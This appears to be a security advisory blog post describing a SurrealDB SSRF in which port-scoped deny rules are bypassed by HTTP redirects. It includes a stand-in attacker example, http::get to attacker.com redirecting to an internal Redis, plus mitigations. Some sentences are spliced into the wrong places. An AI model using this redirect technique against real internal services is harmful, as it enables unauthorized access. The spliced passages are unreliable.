Listen to this Post
SurrealDB provides `http::` functions that enable authenticated users to make outbound HTTP requests to external network endpoints. Access control is enforced via the `–allow-net` and `–deny-net` startup flags, which define allowlists and denylists of network targets. A typical secure configuration might use `–allow-net` to permit all outbound traffic and then `–deny-net 192.168.1.1:6379` to block access to a specific internal Redis instance, while still allowing other ports on the same host.
An authenticated attacker can bypass a port‑scoped `–deny-net --allow-net. That host responds with a 3xx (e.g., 301 or 307) redirect, and the `Location` header points to the previously denied `host:port` (e.g., 192.168.1.1:6379). SurrealDB’s HTTP client follows the redirect by default, and the request reaches the blocked service even though the destination was explicitly denied.
The root cause lies in the redirect‑handling logic inside surrealdb/core/src/fnc/util/http/mod.rs. When a redirect occurs, the `NetTarget` for the new destination is constructed using only `url.host_str()` — the port number is silently dropped. The capability matcher in `surrealdb/core/src/dbs/capabilities.rs:259‑264` then compares this port‑stripped target against the configured deny rules. For a port‑scoped rule such as Self::Host(host, Some(port)), the matcher has a specific arm that returns `false` when the target lacks a port (match tgt { _ => false }). As a result, the deny rule never fires, and the redirect is permitted.
This bypass affects only configurations that use port‑scoped deny rules (e.g., --deny-net 192.168.1.1:6379). Host‑only rules (--deny-net 192.168.1.1) are not vulnerable because the matcher’s host‑only arm accepts port‑stripped targets. The vulnerability is limited to authenticated principals who already have permission to invoke `http::` functions.
The issue was discovered during a code audit and penetration test by Cure53, and assigned a CVSS v4 score of 5.8 (Medium). The patch corrects the redirect policy by constructing the `NetTarget` with `url.port()` included, ensuring that port‑specific deny rules are evaluated identically for both initial requests and redirect targets. A new integration regression test (function_http_redirect_to_denied_port_blocked) using two Wiremock servers verifies the fix.
DailyCVE Form
Platform: SurrealDB
Version: < 3.1.0
Vulnerability: SSRF via HTTP redirect bypass
Severity: Medium (CVSS 5.8)
Date: 2025‑04‑11
Prediction: Fixed in 3.1.0
What Undercode Say
Analytics & Bash Commands
Start SurrealDB with a port‑scoped deny rule (vulnerable) surreal start --allow-net --deny-net 192.168.1.1:6379 Alternative: host‑only deny (workaround, not vulnerable) surreal start --allow-net --deny-net 192.168.1.1 Disable http:: functions entirely for untrusted users surreal start --deny-funcs 'http::'
SurrealQL Example (Attacker Controlled)
-- Initial request goes to an allowed attacker host
RETURN http::get("https://attacker.com/redirect");
-- The attacker's server responds with 301 Location: http://192.168.1.1:6379/
-- SurrealDB follows the redirect and accesses the blocked Redis
Code Snippet (Vulnerable Logic)
// surrealdb/core/src/fnc/util/http/mod.rs (simplified)
let target = NetTarget::Host(
url.host_str().unwrap().to_string(), // port is dropped here
None
);
// surrealdb/core/src/dbs/capabilities.rs:259-264
match rule {
Self::Host(host, Some(port)) => match target {
_ => false, // port‑stripped target never matches
},
// host‑only rules match because target has no port
}
Exploit
An authenticated attacker with `http::` privileges sets up a public HTTP server that responds to any request with a 301 or 307 redirect to the internal service they wish to target (e.g., `http://192.168.1.1:6379/`). They then issue a SurrealQL statement such as `RETURN http::get(“https://attacker.com/redirect”). SurrealDB’s HTTP client follows the redirect and makes a request to the blocked internal service. Because the response from that service is returned to the attacker, this constitutes a full server‑side request forgery (SSRF). The attacker can read from, and in some cases write to, internal services that were meant to be isolated.–deny-net 192.168.1.1:6379`). This blocks all ports on the host, which may be acceptable in some environments.
<h2 style="color: blue;">Protection</h2>
- Upgrade to SurrealDB version 3.1.0 or later, where the redirect policy correctly includes the port in the `NetTarget` and port‑scoped deny rules are enforced.
- Replace port‑specific deny rules with host‑only deny rules (e.g., `--deny-net 192.168.1.1` instead of
– Disable `http::` functions for untrusted principals using `–deny-funcs ‘http::’` if the functionality is not required.
– Deploy a reverse proxy that terminates outbound HTTP requests and enforces port‑specific access controls before traffic leaves the SurrealDB server.
Impact
Successful exploitation allows an authenticated attacker to bypass port‑scoped deny rules and access internal network services that were intended to be unreachable. In cloud environments, this can expose unauthenticated metadata services (e.g., IMDSv1) or internal databases such as Redis, Memcached, or internal APIs. The attacker can retrieve sensitive data, manipulate internal state, or pivot to other systems, depending on the services exposed. The vulnerability does not affect host‑only deny rules and requires the attacker to already possess `http::` permissions.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

